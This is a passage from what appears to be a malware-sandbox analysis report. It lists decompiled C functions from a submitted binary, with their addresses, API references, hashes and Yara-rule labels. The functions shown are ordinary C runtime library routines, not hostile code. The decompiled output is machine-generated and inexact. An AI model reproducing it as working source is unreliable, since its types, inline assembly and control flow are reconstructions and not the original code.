					 *0x43e16c = _t6;
					if(_t6 != 0) {
						goto L8;
					} else {
						_t12 = 0x1a;
						return _t12;
					}
				}
			}

0x00405396
0x0040539e
0x004053a1
0x004053ac
0x004053ae
0x00000000
0x004053ae
0x004053a3
0x004053a3
0x004053b0
0x004053b0
0x004053b0
0x004053b8
0x004053bf
0x004053c6
0x004053e6
0x004053e6
0x004053e8
0x004053f4
0x004053f4
0x004053f7
0x004053fa
0x00405403
0x00000000
0x00000000
0x004053ef
0x004053ef
0x00405407
0x00405408
0x0040540a
0x00405410
0x00405424
0x0040542a
0x00405434
0x00405434
0x00405436
0x00405439
0x0040543a
0x00405446
0x004053c8
0x004053cb
0x004053d1
0x004053d8
0x004053df
0x00000000
0x004053e1
0x004053e3
0x004053e5
0x004053e5
0x004053df

APIs

__calloc_crt.LIBCMT ref: 004053B8
__calloc_crt.LIBCMT ref: 004053D1

Strings

pvA, xrefs: 004053FD
`tA, xrefs: 0040543A

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: __calloc_crt
String ID: `tA$pvA
API String ID: 3494438863-3773125370
Opcode ID: aafce0f163d8cb2ee3236f3e4a5b85ab6dbebf1277c67c494b6ebdde5e268da8
Instruction ID: ee19694c7ac01e9b4ed10550c6fe5bc4c14a396ed0f9b21cca9abbc74417a78e
Opcode Fuzzy Hash: aafce0f163d8cb2ee3236f3e4a5b85ab6dbebf1277c67c494b6ebdde5e268da8
Instruction Fuzzy Hash: 1C11A331609A119BFB288E1EBC457E72395E7853A8764413BE901EA3E0E778CC814A4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040E746, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040E746() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x414d60;
					_v28 =  *0x414d58;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x0040e74b
0x0040e753
0x0040e76a
0x0040e716
0x0040e71f
0x0040e72b
0x0040e72e
0x0040e731
0x0040e733
0x0040e736
0x0040e73b
0x0040e745
0x0040e73d
0x0040e741
0x0040e741
0x0040e755
0x0040e75b
0x0040e763
0x00000000
0x0040e765
0x0040e765
0x0040e769
0x0040e769
0x0040e763

APIs

GetModuleHandleA.KERNEL32(KERNEL32,004084CA), ref: 0040E74B
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040E75B

Strings

IsProcessorFeaturePresent, xrefs: 0040E755
KERNEL32, xrefs: 0040E746

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: f18dd7d25bd578056d58382ab722bff7ff4447c017fc0cc67d4afd56155a2f12
Instruction ID: cdbb77f1128b88398f87332a5f1607b46df02e860a7af44a767fd4c0bdc19057
Opcode Fuzzy Hash: f18dd7d25bd578056d58382ab722bff7ff4447c017fc0cc67d4afd56155a2f12
Instruction Fuzzy Hash: 08F03630600609D2DF106BB1BD4E6AF7F74BBC0746F5604A1E192B10D4DF3481B5D24A

Uniqueness

Uniqueness Score: -1.00%

Function 00401F02, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 73%

			E00401F02(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _v0;
				signed int _v4;
				char _v40;
				char _v80;
				char* _t21;
				char* _t25;

				_push(0x44);
				E004034EA(E00412D6E, __ebx, __edi, __esi);
				E004015FB( &_v40, "invalid string position");
				_v4 = _v4 & 0x00000000;
				_t21 =  &_v80;
				E00401E7B(_t21,  &_v40);
				E0040309B( &_v80, 0x415da8);
				asm("int3");
				_push(__esi);
				_t25 = _t21;
				 *((intOrPtr*)(_t25 + 0x18)) = 0xf;
				E00401856(_t21, 0);
				E00401631(_t25, _v0, 0, 0xffffffff);
				return _t25;
			}

0x00401f02
0x00401f09
0x00401f16
0x00401f1b
0x00401f23
0x00401f26
0x00401f34
0x00401f39
0x00401f3f
0x00401f40
0x00401f44
0x00401f4b
0x00401f59
0x00401f62

APIs

__EH_prolog3.LIBCMT ref: 00401F09
std::bad_exception::bad_exception.LIBCMT ref: 00401F26

Part of subcall function 00401E7B: std::runtime_error::runtime_error.LIBCPMT ref: 00401E86

__CxxThrowException@8.LIBCMT ref: 00401F34

Part of subcall function 0040309B: RaiseException.KERNEL32(00401B82,00000001,X.@,?,?,?,?,?,00402E58,?,004164E8,004390C8,?,00401B82,00000001,?), ref: 004030DD

Strings

invalid string position, xrefs: 00401F0E

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: ExceptionException@8H_prolog3RaiseThrowstd::bad_exception::bad_exceptionstd::runtime_error::runtime_error
String ID: invalid string position
API String ID: 3299838469-1799206989
Opcode ID: c7dd55b423601b1e850bd5fb8b5315c8c672a18e47cfa3932f1a96d5e0850a17
Instruction ID: d0da12bfd1affa668e3c96dbec8ebc6d3c02c4b8cf8bf1875bdfa43e07e6c664
Opcode Fuzzy Hash: c7dd55b423601b1e850bd5fb8b5315c8c672a18e47cfa3932f1a96d5e0850a17
Instruction Fuzzy Hash: 7ED01772900108A6DB10FAF2DD56FDE7738AF1431AF50442BB201BA0D1DBBC9744C768

Uniqueness

Uniqueness Score: -1.00%

Function 00407B24, Relevance: 6.1, APIs: 4, Instructions: 137
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E00407B24(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E004079C0(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E004072DA(_t90, _t98, _t100));
										_t74 = E0040D9FC(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E00407C86(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E00406BD0(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E00403A74(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E00403A0C(_t90, 0, _t100);
					goto L4;
				}
			}

0x00407b24
0x00407b34
0x00407b5a
0x00000000
0x00407b3b
0x00407b3b
0x00407b3e
0x00407b40
0x00407b61
0x00407b64
0x00407b66
0x00000000
0x00000000
0x00407b68
0x00407b6d
0x00407b70
0x00407b73
0x00000000
0x00000000
0x00407b78
0x00407b7c
0x00407b83
0x00407b86
0x00407b89
0x00407b8b
0x00407b95
0x00407b8d
0x00407b90
0x00407b90
0x00407b9c
0x00407b9e
0x00407c63
0x00000000
0x00407ba4
0x00407ba4
0x00407ba7
0x00407ba7
0x00407bad
0x00407bde
0x00407bde
0x00407be1
0x00407c3a
0x00407c41
0x00407c44
0x00407c6f
0x00407c6f
0x00407c71
0x00000000
0x00407c75
0x00407c46
0x00407c49
0x00407c4c
0x00407c4d
0x00407c50
0x00407c52
0x00407c54
0x00407c54
0x00000000
0x00407c52
0x00407be3
0x00407be5
0x00407bf2
0x00407bf2
0x00407bf6
0x00407bf8
0x00407bfc
0x00407bfe
0x00407c01
0x00407c01
0x00407c01
0x00407c03
0x00407c04
0x00407c0e
0x00407c0f
0x00407c14
0x00407c17
0x00407c1a
0x00407c7d
0x00407c7d
0x00407c81
0x00000000
0x00407c1c
0x00407c1c
0x00407c1e
0x00407c20
0x00407c22
0x00407c22
0x00407c24
0x00407c27
0x00407c29
0x00407c2b
0x00000000
0x00407c2d
0x00407c2d
0x00407c2d
0x00000000
0x00407c2d
0x00407c2b
0x00407c1a
0x00407be8
0x00407bee
0x00407bf0
0x00000000
0x00000000
0x00000000
0x00407bf0
0x00407baf
0x00407bb2
0x00407bb4
0x00000000
0x00000000
0x00407bb6
0x00407c6b
0x00407c6b
0x00407c6b
0x00000000
0x00407c6b
0x00407bbc
0x00407bbe
0x00407bc0
0x00407bc2
0x00407bc2
0x00407bca
0x00407bcf
0x00407bd2
0x00407bd4
0x00407bd7
0x00407bd9
0x00000000
0x00407c5b
0x00407c5b
0x00407c5b
0x00000000
0x00407ba4
0x00407b9e
0x00407b42
0x00407b42
0x00407b47
0x00407b48
0x00407b49
0x00407b4a
0x00407b4b
0x00407b4c
0x00407b52
0x00000000
0x00407b57

APIs

__flush.LIBCMT ref: 00407BE8
__fileno.LIBCMT ref: 00407C08
__locking.LIBCMT ref: 00407C0F
__flsbuf.LIBCMT ref: 00407C3A

Part of subcall function 00403A74: __getptd_noexit.LIBCMT ref: 00403A74

Part of subcall function 00403A0C: __decode_pointer.LIBCMT ref: 00403A17

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: 5f3557b2181d098ec1da97968b31fb782885044344497e64fa13e46813ae2397
Instruction ID: 35a66d78ebe8db0dff225bec680f4bdd5721d164c910263ea3638bf0642e3171
Opcode Fuzzy Hash: 5f3557b2181d098ec1da97968b31fb782885044344497e64fa13e46813ae2397
Instruction Fuzzy Hash: 4C41A671E086049BDB249F69888459FBBB5EF80324F24857EE465B72C0D778FE41CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 004100E2, Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004100E2(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E004050AF( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E0040C1EC( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								_t40 = _v20 + 4; // 0x840ffff8
								__eflags = MultiByteToWideChar( *_t40, 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E00403A74(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t15 = _t56 + 0xac; // 0x75ff5003
							_t65 =  *_t15;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t24 = _t56 + 0xac; // 0x75ff5003
								__eflags = _a12 -  *_t24;
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t26 = _t56 + 0xac; // 0x75ff5003
								_t57 =  *_t26;
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t21 = _t56 + 4; // 0x840ffff8
							_t58 = MultiByteToWideChar( *_t21, 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x004100ec
0x004100f3
0x0041010a
0x00000000
0x004100fa
0x004100fc
0x00410116
0x0041011b
0x0041011e
0x00410121
0x0041014a
0x00410151
0x00410153
0x004101d4
0x004101e6
0x004101ef
0x004101f1
0x00410131
0x00410131
0x00410134
0x00410136
0x00410139
0x00410139
0x00410139
0x00410139
0x00000000
0x0041013f
0x004101b3
0x004101b3
0x004101b8
0x004101be
0x004101c1
0x004101c3
0x004101c6
0x004101c6
0x004101c6
0x004101c6
0x00000000
0x004101ca
0x00410155
0x00410158
0x00410158
0x0041015e
0x00410161
0x00410188
0x0041018b
0x0041018b
0x00410191
0x00000000
0x00000000
0x00410193
0x00410196
0x00000000
0x00000000
0x00410198
0x00410198
0x00410198
0x0041019e
0x004101a1
0x0041010f
0x0041010f
0x004101aa
0x00000000
0x004101aa
0x00410163
0x00410166
0x00000000
0x00000000
0x0041016a
0x00410178
0x0041017b
0x00410181
0x00410183
0x00410186
0x00000000
0x00000000
0x00000000
0x00410186
0x00410123
0x00410126
0x00410128
0x0041012e
0x0041012e
0x00000000
0x004100fe
0x004100fe
0x00410103
0x00410107
0x00410107
0x00000000
0x00410103
0x004100fc

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00410116
__isleadbyte_l.LIBCMT ref: 0041014A
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,75FF5003,00BFBBEF,00000000,?,?,?,0040B8FB,00000109,00BFBBEF,00000003), ref: 0041017B
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,00000001,00BFBBEF,00000000,?,?,?,0040B8FB,00000109,00BFBBEF,00000003), ref: 004101E9

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 014a4c62e6ce9169d9155beca2b42cc6a7e2b86288fb2badceb12a074613c0e7
Instruction ID: ccd58a241b9aedade32d87318a6631302578d82e7d6b5af0ce81be64bd12b5d1
Opcode Fuzzy Hash: 014a4c62e6ce9169d9155beca2b42cc6a7e2b86288fb2badceb12a074613c0e7
Instruction Fuzzy Hash: B831B131A0425AFFCB20DF64CC849EE3BB5AF01311F14856AE4919B291D3BADDC0DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00406A6D, Relevance: 6.1, APIs: 4, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00406A6D(void* __edx, void* __edi, void* __eflags, long long _a4, signed int _a10) {
				long long _v12;
				char _v32;
				void* __ecx;
				void* __esi;
				signed char _t18;
				signed char _t20;
				void* _t21;
				void* _t22;
				signed char _t24;
				void* _t26;
				signed int _t30;
				void* _t32;
				void* _t38;
				void* _t39;
				long long* _t43;
				long long _t52;

				_t39 = __edi;
				_t38 = __edx;
				_push(_t26);
				_push(_t26);
				_t18 = E0040CB73(_t26,  *0x417680, 0xffff);
				_t52 = _a4;
				_t24 = _t18;
				_t30 = _a10 & 0x00007ff0;
				_push(_t30);
				_push(_t30);
				 *_t43 = _t52;
				if(_t30 != 0x7ff0) {
					_t20 = E0040C9F9(0x7ff0, _t30);
					_v12 = _t52;
					asm("fcomp qword [ebp-0x8]");
					_pop(_t32);
					asm("fnstsw ax");
					__eflags = _t20 & 0x00000044;
					if((_t20 & 0x00000044) != 0) {
						__eflags = _t24 & 0x00000020;
						if(__eflags != 0) {
							goto L8;
						} else {
							_push(_t24);
							_v32 = _v12;
							 *((long long*)(_t43 - 0x10)) = _a4;
							_push(0xb);
							_push(0x10);
							goto L11;
						}
					} else {
						L8:
						_t21 = E0040CB73(_t32, _t24, 0xffff);
					}
				} else {
					_t22 = E0040CA39();
					_pop(_t32);
					if(_t22 <= 0) {
						L6:
						_push(_t24);
						_v32 = _a4 +  *0x413a20;
						 *((long long*)(_t43 - 0x10)) = _a4;
						_push(0xb);
						_push(8);
						L11:
						_t21 = E0040C930(_t32, _t38, _t39, 0xffff, __eflags);
					} else {
						if(_t22 <= 2) {
							_t21 = E0040CB73(_t32, _t24, 0xffff);
						} else {
							if(_t22 != 3) {
								goto L6;
							} else {
								_v32 = _a4;
								_t21 = E0040C8DB(_t32, 0xffff, 0xb, _t32, _t32, _t24);
							}
						}
					}
				}
				return _t21;
			}

0x00406a6d
0x00406a6d
0x00406a72
0x00406a73
0x00406a82
0x00406a87
0x00406a8f
0x00406a96
0x00406a98
0x00406a99
0x00406a9a
0x00406aa0
0x00406af7
0x00406afc
0x00406b03
0x00406b06
0x00406b07
0x00406b09
0x00406b0c
0x00406b1c
0x00406b1f
0x00000000
0x00406b21
0x00406b24
0x00406b28
0x00406b2f
0x00406b32
0x00406b34
0x00000000
0x00406b34
0x00406b0e
0x00406b0e
0x00406b10
0x00406b19
0x00406aa2
0x00406aa2
0x00406aa8
0x00406aab
0x00406ada
0x00406add
0x00406ae7
0x00406aee
0x00406af1
0x00406af3
0x00406b36
0x00406b36
0x00406aad
0x00406ab0
0x00406ace
0x00406ab2
0x00406ab5
0x00000000
0x00406ab7
0x00406abd
0x00406ac2
0x00406ac7
0x00406ab5
0x00406ab0
0x00406aab
0x00406b41

APIs

__ctrlfp.LIBCMT ref: 00406A82
__ctrlfp.LIBCMT ref: 00406ACE

Part of subcall function 0040C8DB: __umatherr.LIBCMT ref: 0040C907

__ctrlfp.LIBCMT ref: 00406B10
__except1.LIBCMT ref: 00406B36

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: __ctrlfp$__except1__umatherr
String ID:
API String ID: 2070144642-0
Opcode ID: 0db42edce814277f0c82b4c4d4d55703973f64f89566ffef7e20496f32e5d6ef
Instruction ID: 66db45b0334fc9394b133bd108f3370bf45e8b18636ae5d3732cdad327322798
Opcode Fuzzy Hash: 0db42edce814277f0c82b4c4d4d55703973f64f89566ffef7e20496f32e5d6ef
Instruction Fuzzy Hash: E52106A1104519F5EB143B54F846AFB3F68EB09364F1249ABF9C6A00C1DF799860835E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E632, Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040E632(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E0040DF23(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E0040E013(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E0040E538(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E0040E47D(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x0040e637
0x0040e63d
0x0040e6b0
0x00000000
0x0040e644
0x0040e644
0x0040e647
0x0040e662
0x0040e665
0x0040e685
0x0040e697
0x0040e667
0x0040e667
0x0040e66a
0x00000000
0x0040e66c
0x0040e67e
0x0040e67e
0x0040e66a
0x0040e6b5
0x0040e6b9
0x0040e649
0x0040e661
0x0040e661
0x0040e647

APIs

__cftof_l.LIBCMT ref: 0040E658

Part of subcall function 0040E47D: __fltout2.LIBCMT ref: 0040E4A9

__cftog_l.LIBCMT ref: 0040E67E
__cftoe_l.LIBCMT ref: 0040E6B0

Memory Dump Source

Source File: 00000000.00000002.249044190.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249040375.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.249057273.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249060153.0000000000418000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249063977.0000000000431000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.249069989.0000000000439000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.249074543.0000000000440000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_emPJndhuvA.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 61be2fc37a4803829afa76a5db1f46578b5ba40fabc8db312e87176bf78099f4
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 4B118732000149BBCF125E96DC05CEE3F67BB18354B558926FE1968170D63BC9B1AB85

Uniqueness

Uniqueness Score: -1.00%

Function 0040B04D, Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0040B04D(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x416320);
				E00404944(__ebx, __edi, __esi);
